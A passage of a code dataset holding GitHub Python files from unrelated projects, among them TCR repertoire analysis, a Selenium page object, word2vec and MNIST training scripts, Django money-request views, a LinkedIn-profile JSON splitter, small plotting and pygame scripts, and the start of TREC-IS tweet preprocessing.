vrep,jrep = tcr[8:10]\n vcounts[vrep] = vcounts.get(vrep,0)+1\n jcounts[jrep] = jcounts.get(jrep,0)+1\n vstring = ','.join( ['{}:{}'.format(x,y) for x,y in vcounts.items()] )\n jstring = ','.join( ['{}:{}'.format(x,y) for x,y in jcounts.items()] )\n return self._get_counts_list_condensing_alleles(vstring, self.rep2label_rep, self.rep2label_rep_color),\\\n self._get_counts_list_condensing_alleles(jstring, self.rep2label_rep, self.rep2label_rep_color)\n\n\n def _get_counts_list_condensing_alleles(self, counts_string, rep2label_rep, rep2label_rep_color ):\n counts ={}\n for tag,count in [x.split(':') for x in counts_string.split(',') ]:\n rc = ( rep2label_rep[ tag ][4:], rep2label_rep_color[ tag ] )\n counts[rc] = counts.get(rc,0)+float(count)\n return [ (y,x[0],x[1]) for x,y in counts.items() ]\n \n def generate_background_set(self,\n chain = None,\n organism = None,\n max_ng_lines = None,\n db_file = None,\n ng_log_path = None,\n ng_log_file = None):\n \"\"\"ALLOW FULL CONTROL OVER NEXTGENE LOG FILES\n THIS IS A DUPLICATE OF CODE IN TCRMotif\"\"\"\n if chain is None:\n raise ValueError(\"chain must be specified as 'A' or 'B'\")\n if ng_log_path is None:\n raise ValueError(\"ng_log_path, for legacy behaivor try paths.path_to_current_db_files(db_file = 'alphabeta_db.tsv')\")\n if ng_log_file is None:\n raise ValueError(\"ng_log_file must be specified, for legacy try: 'new_nextgen_chains_{}_{}.tsv'.format(organism,ab)'\")\n \n if organism is None:\n organism = self.organism\n if max_ng_lines is None:\n max_ng_lines = self.max_ng_lines\n\n # initialize a ng_tcrs disctionary based on chains present\n #ng_tcrs = {k:{} for k in chain}\n \n ng_logfile = os.path.join(ng_log_path, ng_log_file)\n if not os.path.isfile(ng_logfile):\n raise OSError('find_cdr3_motifs.py: missing next-gen chains file {}'.format(ng_logfile))\n\n counter=0\n num_chains=0\n ab_chains = {}\n \n ab = chain \n for line in open(ng_logfile,'r'):\n counter+=1\n l = line[:-1].split('\\t')\n if counter==1:\n assert l==['v_reps','j_reps','cdr3','cdr3_nucseq']\n continue\n #if not counter%1000000:#Log(`counter`+' '+`num_chains`+' '+ng_logfile)\n if max_ng_lines and counter > max_ng_lines:\n break\n #v_reps = set( ( util.get_mm1_rep(x,organism) for x in l[0].split(',') ) )\n v_reps = set( ( self.all_genes[self.organism][x].mm1_rep for x in l[0].split(',') ) )\n j_reps = l[1].split(',')\n cdr3, cdr3_nucseq = l[2:4]\n\n ## now add to the different places\n for v_rep in v_reps:\n for j_rep in j_reps:\n if v_rep not in ab_chains: ab_chains[v_rep] = {}\n if j_rep not in ab_chains[v_rep]: ab_chains[v_rep][j_rep] = []\n ab_chains[v_rep][j_rep].append( (cdr3, cdr3_nucseq ))\n\n num_chains += 1\n ab_chains\n return ab_chains\n\n","repo_name":"kmayerb/tcrdist2","sub_path":"tcrdist/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":48779,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"72"}
+{"seq_id":"10344986109","text":"from POM.base.base_page import BasePage\nfrom selenium.webdriver.common.by import By\nfrom selenium import webdriver\n\n#添加购物车页面对象\nclass ProductPage(BasePage):\n url=BasePage.url+'?s=/index/goods/index/id/2.html'\n #页面关联元素\n suite=(By.XPATH,'//li[@data-value=\"套餐一\"]')\n color=(By.XPATH,'//li[@data-value=\"金色\"]')\n memory=(By.XPATH,'//li[@data-value=\"32G\"]')\n addcart=(By.XPATH,'//button[@title=\"加入购物车\"]')\n #添加购物车操作行为\n def add_cart(self):\n self.wait(10)\n self.visit(url=self.url)\n self.click(self.suite)\n self.click(self.color)\n self.click(self.memory)\n self.click(self.addcart)\n\nif __name__=='__main__':\n driver=webdriver.Chrome()\n pg=ProductPage(driver)\n pg.add_cart()\n\n","repo_name":"tangtang20/project","sub_path":"POM/page_object/product_page.py","file_name":"product_page.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27023930118","text":"#!/usr/bin/env python3\n''' word2vec '''\nimport gensim\n\n\ndef word2vec_model(sentences, size=100, min_count=5, window=5, negative=5, cbow=True, iterations=5, seed=0, workers=1):\n '''\n creates and trains a gensim word2vec model\n :sentences: is a list of sentences to be trained on\n :size: is the dimensionality of the embedding layer\n :min_count: is the minimum number of occurrences of a word for use in training\n :window: is the maximum distance between the current and predicted word within a sentence\n :negative: is the size of negative sampling\n :cbow: is a boolean to determine the training type; True is for CBOW; False is for Skip-gram\n iterations is the number of iterations to train over\n :seed: is the seed for the random number generator\n :workers: is the number of worker threads to train the model\n '''\n model = gensim.models.Word2Vec(sentences, min_count=min_count,\n epochs=iterations, vector_size=size,\n window=window, negative=negative, seed=seed,\n sg=cbow, workers=workers)\n model.train(sentences, total_examples=model.corpus_count,\n epochs=model.epochs)\n return model\n","repo_name":"luisobregon21/holbertonschool-machine_learning","sub_path":"supervised_learning/0x0F-word_embeddings/2-word2vec.py","file_name":"2-word2vec.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"38533084450","text":"def listToString(ints): \r\n return ''.join([str(int) for int in ints])\r\n\r\ndef Part1():\r\n with open('day3.txt') as f:\r\n lines = f.readlines()\r\n\r\n size = len(lines[0]) - 1\r\n\r\n gamma = [None] * size\r\n epsilon = [None] * size\r\n\r\n for i in range(size):\r\n count_0 = 0\r\n count_1 = 0\r\n for line in lines:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n if count_0 > count_1:\r\n gamma[i] = 0\r\n epsilon[i] = 1\r\n else:\r\n gamma[i] = 1\r\n epsilon[i] = 0\r\n\r\n gammaStr = listToString(gamma)\r\n epsilonStr = listToString(epsilon)\r\n\r\n gammaNr = int(gammaStr, 2)\r\n epsilonNr = int(epsilonStr, 2)\r\n\r\n print(gammaNr * epsilonNr)\r\n \r\ndef Part2():\r\n with open('day3.txt') as f:\r\n lines = f.readlines()\r\n\r\n size = len(lines[0]) - 1\r\n\r\n oxygenRatings = lines.copy()\r\n scrubberRatings = lines.copy()\r\n\r\n for i in range(size):\r\n if (len(oxygenRatings) == 1 and len(scrubberRatings) == 1):\r\n break;\r\n\r\n count_0 = 0\r\n count_1 = 0\r\n for line in oxygenRatings:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n oxygenCopy = oxygenRatings.copy()\r\n\r\n if (len(oxygenRatings) > 1): \r\n if count_0 > count_1:\r\n for line in oxygenCopy:\r\n if (line[i] == '1'):\r\n oxygenRatings.remove(line)\r\n else:\r\n for line in oxygenCopy:\r\n if (line[i] == '0'):\r\n oxygenRatings.remove(line)\r\n\r\n count_0 = 0\r\n count_1 = 0\r\n for line in scrubberRatings:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n scrubberCopy = scrubberRatings.copy()\r\n\r\n if (len(scrubberRatings) > 1):\r\n if count_1 >= count_0:\r\n for line in scrubberCopy:\r\n if (line[i] == '1'):\r\n scrubberRatings.remove(line)\r\n else:\r\n for line in scrubberCopy:\r\n if (line[i] == '0'):\r\n scrubberRatings.remove(line)\r\n\r\n gammaStr = listToString(oxygenRatings[0])\r\n epsilonStr = listToString(scrubberRatings[0])\r\n\r\n gammaNr = int(gammaStr, 2)\r\n epsilonNr = int(epsilonStr, 2)\r\n\r\n print(gammaNr * epsilonNr)\r\n\r\ndef main():\r\n # Part1()\r\n Part2()\r\nmain()\r\n","repo_name":"CristianTudor89/AdventOfCode-2021","sub_path":"Day 3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28054017193","text":"\n'''\nCode implements multi-perceptron neural network to classify MNIST images of \nhandwritten digits using Keras and Theano. Based on code from\nhttps://www.packtpub.com/books/content/training-neural-networks-efficiently-using-keras \n'''\n\nimport numpy as np\nfrom tensorflow import keras\n\nfrom tensorflow import keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow.keras.utils import to_categorical\n\n\ndef load_and_condition_MNIST_data():\n ''' loads and shapes MNIST image data ''' \n (X_train, y_train), (X_test, y_test) = mnist.load_data()\n print(\"\\nLoaded MNIST images\")\n X_train = X_train.astype('float32') #before conversion were uint8\n X_test = X_test.astype('float32')\n X_train.resize(len(y_train), 784) # 28 pix x 28 pix = 784 pixels\n X_test.resize(len(y_test), 784)\n print('\\nFirst 5 labels of MNIST y_train: ', y_train[:5])\n y_train_ohe = to_categorical(y_train) \n print('\\nFirst 5 labels of MNIST y_train (one-hot):\\n', y_train_ohe[:5])\n print('')\n return X_train, y_train, X_test, y_test, y_train_ohe\n\ndef define_nn_mlp_model(X_train, y_train_ohe):\n ''' defines multi-layer-perceptron neural network '''\n # available activation functions at:\n # https://keras.io/activations/\n # https://en.wikipedia.org/wiki/Activation_function\n # options: 'linear', 'sigmoid', 'tanh', 'relu', 'softplus', 'softsign'\n # there are other ways to initialize the weights besides 'uniform', too \n \n model = Sequential() # sequence of layers\n num_neurons_in_layer = 100 # number of neurons in a layer\n num_inputs = X_train.shape[1] # number of features (784)\n num_classes = y_train_ohe.shape[1] # number of classes, 0-9\n model.add(Dense(units=num_neurons_in_layer, \n input_shape=(num_inputs, ),\n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='relu')) \n model.add(Dense(units=num_neurons_in_layer, \n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='relu')) \n model.add(Dense(units=num_classes,\n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='softmax')) \n sgd = SGD(lr=0.001, decay=1e-7, momentum=.9) # using stochastic gradient descent \n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=[\"accuracy\"] ) \n return model \n\ndef print_output(model, y_train, y_test, rng_seed):\n '''prints model accuracy results'''\n y_train_pred = model.predict_classes(X_train, verbose=0)\n y_test_pred = model.predict_classes(X_test, verbose=0)\n print('\\nRandom number generator seed: ', rng_seed)\n print('\\nFirst 30 labels: ', y_train[:30])\n print('First 30 predictions: ', y_train_pred[:30])\n train_acc = np.sum(y_train == y_train_pred, axis=0) / X_train.shape[0]\n print('\\nTraining accuracy: {0:0.2f}%'.format(train_acc * 100))\n test_acc = np.sum(y_test == y_test_pred, axis=0) / X_test.shape[0]\n print('Test accuracy: {0:0.2f}%'.format(test_acc * 100))\n\n\nif __name__ == '__main__':\n rng_seed = 2 # set random number generator seed\n X_train, y_train, X_test, y_test, y_train_ohe = load_and_condition_MNIST_data() \n np.random.seed(rng_seed)\n model = define_nn_mlp_model(X_train, y_train_ohe)\n model.fit(X_train, y_train_ohe, epochs=15, batch_size=100, verbose=1,\n validation_split=0.1) # cross val to estimate test error\n print_output(model, y_train, y_test, rng_seed)\n \n","repo_name":"josiah-d/data_science","sub_path":"solutions/perceptrons/mlp_soln.py","file_name":"mlp_soln.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"71553799914","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom decimal import Decimal\nfrom .models import Request\nfrom datetime import datetime\n\n\n# Unlike transactions, requests don't involve changing any\n# existing information, only adding something to the database.\n# This function handles all the data validation for user-entered data\ndef make_request(current_user, target_username, amount):\n # Make sure the requested user exists in the database\n try:\n target_user = User.objects.get(username=target_username)\n except Exception:\n raise Exception(\"Target user does not exist\")\n\n # Make sure the entered amount is a valid number\n try:\n amount = Decimal(amount)\n if amount < 0 or (amount * 100) % 1 > 0:\n raise Exception()\n except Exception:\n raise Exception(\"Invalid entered amount\")\n\n # Generate a new \"money request\" database entry\n new_request = Request(sender=current_user, receiver=target_user,\n time=datetime.now(), amount=amount)\n\n # Save it to the database\n new_request.save()\n\n\n# Renders the \"request money\" page, and processes user input\n# The \"request\" parameter is the HTTP request recieved from the user's device\n# The return value is a rendering of the page, an HttpResponse python object\ndef request_money(request):\n # As always, redirect elsewhere if the user isn't logged in\n if not request.user.is_authenticated:\n return redirect('index')\n\n # Unless otherwise indicated, there are no\n # errors and nothing has been sent\n context = {\n 'error': False,\n 'error_message': \"\",\n 'sent': False\n }\n\n # POST means the user gave us some information in the form,\n # so we gotta parse it and potentially update the database\n # with the new request\n if request.method == 'POST':\n try:\n # Grab from the form the person from\n # which the user is requesting money\n target_username = request.POST.get('target user field', None)\n\n # Grab the amount of money they would like to request\n amount = request.POST.get('amount field', None)\n\n # Generate the request and add it to the database if valid\n make_request(request.user, target_username, amount)\n\n # If we make it here, there weren't any exceptions.\n # That means it worked, so we can let the user know\n context['sent'] = True\n\n except Exception as e:\n # Something went wrong\n # Notify the user what it is, and print it to the console too\n context['error'] = True\n context['error_message'] = str(e)\n print(e)\n\n # If it wasn't a POST request, the initial context is displayed as-is\n # If it was a POST request, the contex would be modified in some way\n return render(request, 'request_money/request_money.html', context)\n\n\n# Renders the \"view requests\" page, and processes user input\n# The \"request\" parameter is the HTTP request recieved from the user's device\n# The return value is a rendering of the page, an HttpResponse python object\ndef view_requests(request, account_number=None):\n # As always, redirect elsewhere if the user isn't logged in\n if not request.user.is_authenticated:\n return redirect('index')\n\n # The only POST information is whether they\n # pushed one of the delete buttons\n if request.method == \"POST\":\n try:\n # Get the id of the request they selected to delete\n delete_id = request.POST.get('delete', None)\n\n # Make sure that the user actually clicked the button\n # and didn't post some other way\n if delete_id is not None:\n # Get the database entry with that id\n to_delete = Request.objects.get(id=delete_id)\n\n # Users can only delete requests made to them\n # Just a safety precausion; shouldn't actually come up\n # in proper use of the system.\n if to_delete.receiver == request.user:\n # Remove it from the database\n to_delete.delete()\n\n except Exception as e:\n # If something goes wrong, dump it in the\n # console but don't change anything\n print(e)\n\n # Get all the requests made TO the currently logged-in user\n requests = Request.objects.filter(receiver=request.user).order_by('id')\n\n # Render the page with those requests in the table\n context = {'requests': requests}\n return render(request, 'request_money/view_requests.html', context)\n","repo_name":"Mesaj2000/Banking-Application","sub_path":"bankapp_project/request_money/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33919236703","text":"import os\nimport time\nimport sys\nimport json\nimport jsonpath\nimport traceback\n\nfrom datetime import datetime\nfrom threading import Thread\n\ndef read_settings():\n settings = []\n if os.path.exists(\"settings_clean.json\"):\n with open(\"settings_clean.json\", \"r\", encoding=\"utf-8\") as r:\n text = r.read()\n #text = text[1:]\n settings = json.loads(text)\n return settings\n\n\ndef split(file, country, number):\n\n if not os.path.exists(file):\n print(\"File {0} doesn't exists, do nothing...\".format(file))\n\n if not os.path.exists(country):\n os.mkdir(country)\n \n print(\"Now spliting file {0} into smaller batches, {1} lines per batch.\".format(file, number))\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n batch_file_name = file.split(spliter)[-1].replace(\".json\", \"\")\n\n current_files = list(os.listdir(country))\n # remove previous files (xlsx)\n results_previous_run = [t for t in current_files if t.endswith(\"xlsx\")]\n for t in results_previous_run:\n full_name = \"{0}{1}{2}\".format(country, spliter, t)\n os.remove(full_name)\n # try to find the smaller batch files (smaller json)\n batch_files = [t for t in os.listdir(country) if t.startswith(\"{0}_\".format(batch_file_name)) and t.endswith(\".json\")]\n if len(batch_files) > 0:\n print(\">>> File {0} is already split into smaller batches, do nothing for now.\".format(file))\n return\n\n cache = []\n batch_idx = 1\n with open(file, \"r\", encoding=\"utf8\") as f:\n for line in f:\n l = line.strip()\n if len(l) == 0:\n continue\n #if '\"linkedin_connections\":null' in l:\n # continue\n \n cache.append(l)\n if len(cache) == number:\n batch_file = \"{0}/{1}_{2}.json\".format(country, batch_file_name, batch_idx)\n with open(batch_file, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(cache))\n print(\"Batch {0} saved.\".format(batch_file))\n batch_idx += 1\n cache = []\n\n if len(cache) > 0:\n batch_file = \"{0}/{1}_{2}.json\".format(country, batch_file_name, batch_idx)\n with open(batch_file, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(cache))\n print(\"Batch {0} saved.\".format(batch_file))\n\n\ndef split_files():\n\n start_date = datetime.now()\n print(\">>> Split process started at {0}.\".format(start_date))\n\n settings = read_settings()\n filtered_folder = []\n for setting in settings:\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n input_folder = setting[\"input_folder\"]\n batch_size = setting[\"batch_size\"]\n input_files = [\"{0}{1}{2}\".format(input_folder, spliter, t) for t in os.listdir(input_folder) if t.endswith(\".json\")]\n print(\">>> There are {0} files to split in input folder...\".format(len(input_files)))\n for input_file in input_files:\n print(\"> Start split file {0}.\".format(input_file))\n split(input_file, setting[\"country_name\"], batch_size)\n\n print(\">>> Start clean data by linkedin_connections...\")\n folder = setting[\"country_name\"]\n if folder not in filtered_folder:\n filter_files(setting)\n filtered_folder.append(setting[\"country_name\"])\n else:\n print(\"\\r\\n>>> Folder {0} is already processed, don't repeat!\\r\\n\".format(folder))\n\n end_date = datetime.now()\n print(\"Split process ended at {0}. Time cost: {1}.\".format(end_date, (end_date - start_date)))\n\n\ndef filter_files(setting):\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n input_folder = setting[\"input_folder\"]\n threads = setting[\"spliter_thread\"]\n connections_number = setting[\"connections\"]\n country_folder = setting[\"country_name\"]\n files = [t for t in os.listdir(country_folder) if t.endswith(\".json\")]\n files = [\"{0}{1}{2}\".format(country_folder, spliter, t) for t in files]\n thread_list = []\n while True:\n if len(files) == 0:\n break\n\n if len(thread_list) < threads:\n file = files[0]\n files.remove(file)\n thread = Thread(target=filter_a_file, args=(file, connections_number, ), name=file.split(spliter)[-1])\n thread.start()\n print(\"Thread {0} is started.\".format(thread.name))\n thread_list.append(thread)\n \n thread_list = [t for t in thread_list if t.is_alive()]\n print(\"{0} converting threads running...\".format(len(thread_list)))\n time.sleep(5)\n\n while True:\n thread_list = [t for t in thread_list if t.is_alive()]\n print(\"{0} converting threads running...\".format(len(thread_list)))\n time.sleep(5)\n if len(thread_list) == 0:\n print(\"No acitve threads, stop!\")\n break\n\n\ndef filter_a_file(file_name, connection_number):\n new_lines = []\n with open(file_name, \"r\", encoding=\"utf8\") as f:\n for line in f:\n try:\n data_json = None\n try:\n data_json = json.loads(line.strip(), strict=False)\n except:\n print(\"\\r\\n\\r\\n\")\n print(\"Failed to load json, skip this people...\")\n print(line)\n print(\"\\r\\n\\r\\n\")\n continue\n\n if data_json[\"linkedin_connections\"] is None:\n line = process_email(line, data_json)\n new_lines.append(line.strip())\n continue\n if data_json[\"linkedin_connections\"] >= connection_number:\n line = process_email(line, data_json)\n new_lines.append(line.strip())\n except:\n print(traceback.format_exc())\n continue\n with open(file_name, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(new_lines))\n\n\ndef process_email(line, data_json):\n #data_json = json.loads(line.strip())\n job_company_website_node = jsonpath.jsonpath(data_json, \"$.job_company_website\")\n if job_company_website_node == False:\n return line\n company_website = job_company_website_node[0]\n if company_website is None or len(company_website) == 0:\n return line\n company_website = company_website.lower()\n work_email_node = jsonpath.jsonpath(data_json, \"$.work_email\")\n work_email = \"\" if work_email_node == False else work_email_node[0]\n professional_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='professional')].address\")\n professional_email = \"\" if professional_email_node == False else professional_email_node[0]\n current_professional_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='current_professional')].address\")\n current_professional_email = \"\" if current_professional_email_node == False else current_professional_email_node[0]\n personal_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='personal')].address\")\n personal_email = \"\" if personal_email_node == False else personal_email_node[0]\n none_type_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type==None)].address\")\n none_type_email = \"\" if none_type_email_node == False else none_type_email_node[0]\n other_emails = [professional_email, current_professional_email, personal_email, none_type_email]\n other_emails = [t for t in other_emails if t is not None and \"@\" in t]\n\n if work_email is not None and len(work_email) > 0:\n domain = work_email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Email {0} match website {1}, don't change...\".format(work_email, company_website))\n return line\n else:\n if len(other_emails) == 0:\n return line\n else:\n for email in other_emails:\n domain = email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Change work email from {0} to {1}.\".format(work_email, email))\n data_json[\"work_email\"] = email\n new_line = json.dumps(data_json)\n return new_line\n\n else:\n if len(other_emails) == 0:\n return line\n else:\n for email in other_emails:\n domain = email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Change work email from {0} to {1}.\".format(work_email, email))\n data_json[\"work_email\"] = email\n new_line = json.dumps(data_json)\n return new_line\n return line\n \n\n\nsplit_files()\n\n","repo_name":"antnguyen72/Personal-Projects","sub_path":"Python Projects/Project Alpha/linkedin_search_allinone/spliter_standalone.py","file_name":"spliter_standalone.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37783168938","text":"#!/usr/bin/python\r\n\r\nimport math\r\n\r\nN = 1000\r\n\r\n\r\ndef sum(N,funkcia):\r\n sum = 0\r\n for i in range(N):\r\n sum+= funkcia(i)\r\n return sum\r\n\r\ndef save(f, funkcia):\r\n t0 = -math.pi\r\n t1 = math.pi\r\n for i in range(N+1):\r\n x = (float(i)/N * (t1-t0) +t0)\r\n y = funkcia(x);\r\n f.write(\"%.6f %.6f\\n\" %(x, y))\r\n\r\ndef clen(w, rc,t):\r\n if w==0:\r\n return 0.5\r\n if w%2 == 0:\r\n return 0\r\n return 2/math.pi/w * (math.sin(w*t) - w*rc*math.cos(w*t))/(1+w*w*rc*rc)\r\n\r\nsave(open('rc_priebeh_01.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 0.1, y)))\r\n\r\nsave(open('rc_priebeh_05.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 0.5, y)))\r\n\r\nsave(open('rc_priebeh_10.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 1.0, y)))\r\n\r\nsave(open('rc_priebeh_20.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 2.0, y)))\r\n","repo_name":"ppershing/ppershing-bsc-thesis","sub_path":"tags/bakalarka_final/src/obrazky/fyzika/rlc/rc_priebeh.py","file_name":"rc_priebeh.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20533802180","text":"#Pygame Experimentation\r\nimport sys, pygame\r\n\r\npygame.init() #Initialises pygame\r\n\r\nsize = width, height = 2100, 900 #Dimensions for screen in size variable\r\nspeed = [2,2] #Sets speed of ball\r\n\r\nblack = 0, 0, 0 #RGB Value for Black\r\n\r\nscreen = pygame.display.set_mode(size) #Setups a screen\r\n\r\nball = pygame.image.load(\"DVD_logo.svg.png\") #Defines ball variable to store the image of the ball\r\nballrect = ball.get_rect()\r\n\r\nwhile True: #Infinite Loop\r\n for event in pygame.event.get(): #Searches through the possible events in pygame events\r\n if event.type == pygame.QUIT: sys.exit() #If the event type is quit then it terminates the execution\r\n\r\n ballrect = ballrect.move(speed) #Moves the ball\r\n if ballrect.left < 0 or ballrect.right > width: #If the ball is beyound boundaries then it inverts the direction\r\n speed[0] = -speed[0] \r\n elif ballrect.top < 0 or ballrect.bottom > height:\r\n speed[1] = -speed[1]\r\n\r\n\r\n screen.fill(black)\r\n screen.blit(ball, ballrect)\r\n pygame.display.flip()\r\n","repo_name":"DonaldJennings/DVD-Loader","sub_path":"DVD Animation.py","file_name":"DVD Animation.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"9567828790","text":"import json\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom pandas.io.json import json_normalize\nimport os\nimport time\nimport re\nimport html\n\n# You have to follow instructions here : http://dcs.gla.ac.uk/~richardm/TREC_IS/2020/data.html (if no changes)\n# and download 'trecis2018-test', 'trecis2018-train', 'trecis2019-A-test' and 'trecis2019-B-test' sets'\n\n# Map TREC IS annotators event labels to event label\nd_map = {'costaRicaEarthquake2012':'costaRicaEarthquake2012',\n\t\t'fireColorado2012':'fireColorado2012',\n\t\t'floodColorado2013':'floodColorado2013',\n\t\t'typhoonPablo2012':'typhoonPablo2012',\n\t\t'laAirportShooting2013':'laAirportShooting2013',\n\t\t'westTexasExplosion2013':'westTexasExplosion2013',\n\t\t'guatemalaEarthquake2012':'guatemalaEarthquake2012',\n\t\t'bostonBombings2013':'bostonBombings2013',\n\t\t'flSchoolShooting2018':'flSchoolShooting2018',\n\t\t'chileEarthquake2014':'chileEarthquake2014',\n\t\t'joplinTornado2011':'joplinTornado2011',\n\t\t'typhoonYolanda2013':'typhoonYolanda2013',\n\t\t'queenslandFloods2013':'queenslandFloods2013',\n\t\t'nepalEarthquake2015S3':'nepalEarthquake2015',\n\t\t'nepalEarthquake2015':'nepalEarthquake2015',\n\t\t'australiaBushfire2013':'australiaBushfire2013',\n\t\t'philipinnesFloods2012':'philipinnesFloods2012',\n\t\t'albertaFloods2013':'albertaFloods2013',\n\t\t'nepalEarthquake2015S2':'nepalEarthquake2015',\n\t\t'typhoonHagupit2014S2':'typhoonHagupit2014',\n\t\t'manilaFloods2013':'manilaFloods2013',\n\t\t'parisAttacks2015':'parisAttacks2015',\n\t\t'italyEarthquakes2012':'italyEarthquakes2012',\n\t\t'typhoonHagupit2014':'typhoonHagupit2014',\n\t\t'typhoonHagupit2014S1':'typhoonHagupit2014',\n\t\t'nepalEarthquake2015S4':'nepalEarthquake2015',\n\t\t'nepalEarthquake2015S1':'nepalEarthquake2015',\n\t\t'floodChoco2019':'floodChoco2019',\n\t\t'earthquakeCalifornia2014':'earthquakeCalifornia2014',\n\t\t'shootingDallas2017A':'shootingDallas2017',\n\t\t'earthquakeBohol2013':'earthquakeBohol2013',\n\t\t'fireYMM2016E':'fireYMM2016',\n\t\t'shootingDallas2017E':'shootingDallas2017',\n\t\t'hurricaneFlorence2018A':'hurricaneFlorence2018',\n\t\t'hurricaneFlorence2018B':'hurricaneFlorence2018',\n\t\t'fireYMM2016A':'fireYMM2016',\n\t\t'hurricaneFlorence2018C':'hurricaneFlorence2018',\n\t\t'hurricaneFlorence2018D':'hurricaneFlorence2018',\n\t\t'fireYMM2016B':'fireYMM2016',\n\t\t'shootingDallas2017B':'shootingDallas2017',\n\t\t'shootingDallas2017C':'shootingDallas2017',\n\t\t'fireYMM2016D':'fireYMM2016',\n\t\t'philippinesEarthquake2019A':'philippinesEarthquake2019',\n\t\t'philippinesEarthquake2019C':'philippinesEarthquake2019',\n\t\t'philippinesEarthquake2019B':'philippinesEarthquake2019',\n\t\t'southAfricaFloods2019C':'southAfricaFloods2019',\n\t\t'cycloneKenneth2019B':'cycloneKenneth2019',\n\t\t'albertaWildfires2019A':'albertaWildfires2019',\n\t\t'albertaWildfires2019B':'albertaWildfires2019',\n\t\t'coloradoStemShooting2019A':'coloradoStemShooting2019',\n\t\t'coloradoStemShooting2019C':'coloradoStemShooting2019',\n\t\t'coloradoStemShooting2019B':'coloradoStemShooting2019',\n\t\t'cycloneKenneth2019A':'cycloneKenneth2019',\n\t\t'southAfricaFloods2019A':'southAfricaFloods2019',\n\t\t'cycloneKenneth2019C':'cycloneKenneth2019',\n\t\t'southAfricaFloods2019B':'southAfricaFloods2019',\n\t\t'philippinesEarthquake2019D':'philippinesEarthquake2019',\n\t\t'sandiegoSynagogueShooting2019A':'sandiegoSynagogueShooting2019',\n\t\t'sandiegoSynagogueShooting2019C':'sandiegoSynagogueShooting2019',\n\t\t'sandiegoSynagogueShooting2019B':'sandiegoSynagogueShooting2019',\n\t\t'albertaWildfires2019C':'albertaWildfires2019',\n\t\t'albertaWildfires2019D':'albertaWildfires2019',\n\t\t'cycloneKenneth2019D':'cycloneKenneth2019',\n# Labels below are not taking into account in our paper, we did not have them at the time we wrote it \n\t\t'fireYMM2016C':'fireYMM2016',\n\t\t'shootingDallas2017D':'shootingDallas2017'}\n\ntweet_id_map = {}\n\nPATH_json = \"./TREC IS annotations/TRECIS_2018_2019-labels.json\"\nPATH_tweets = \"./Tweets/\"\n\n\"\"\"\n---------------------------------------------------------------------------------------------\nAssociation tweets-annotations\n---------------------------------------------------------------------------------------------\n\"\"\"\n\nwith open(PATH_json, \"r\",encoding='ISO-8859-1') as file:\n\ttweets = json.load(file)\n\tfor tweet in tweets:\n\t\tif tweet[\"eventID\"] != 'fireYMM2016C' and tweet[\"eventID\"] != 'shootingDallas2017D':\n\t\t\ttweet_id_map[tweet[\"postID\"]]={}\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"categories\"]=tweet[\"postCategories\"]\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"priority\"]=tweet[\"postPriority\"]\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"event\"]=d_map[tweet[\"eventID\"]]\n\nl_encoding = 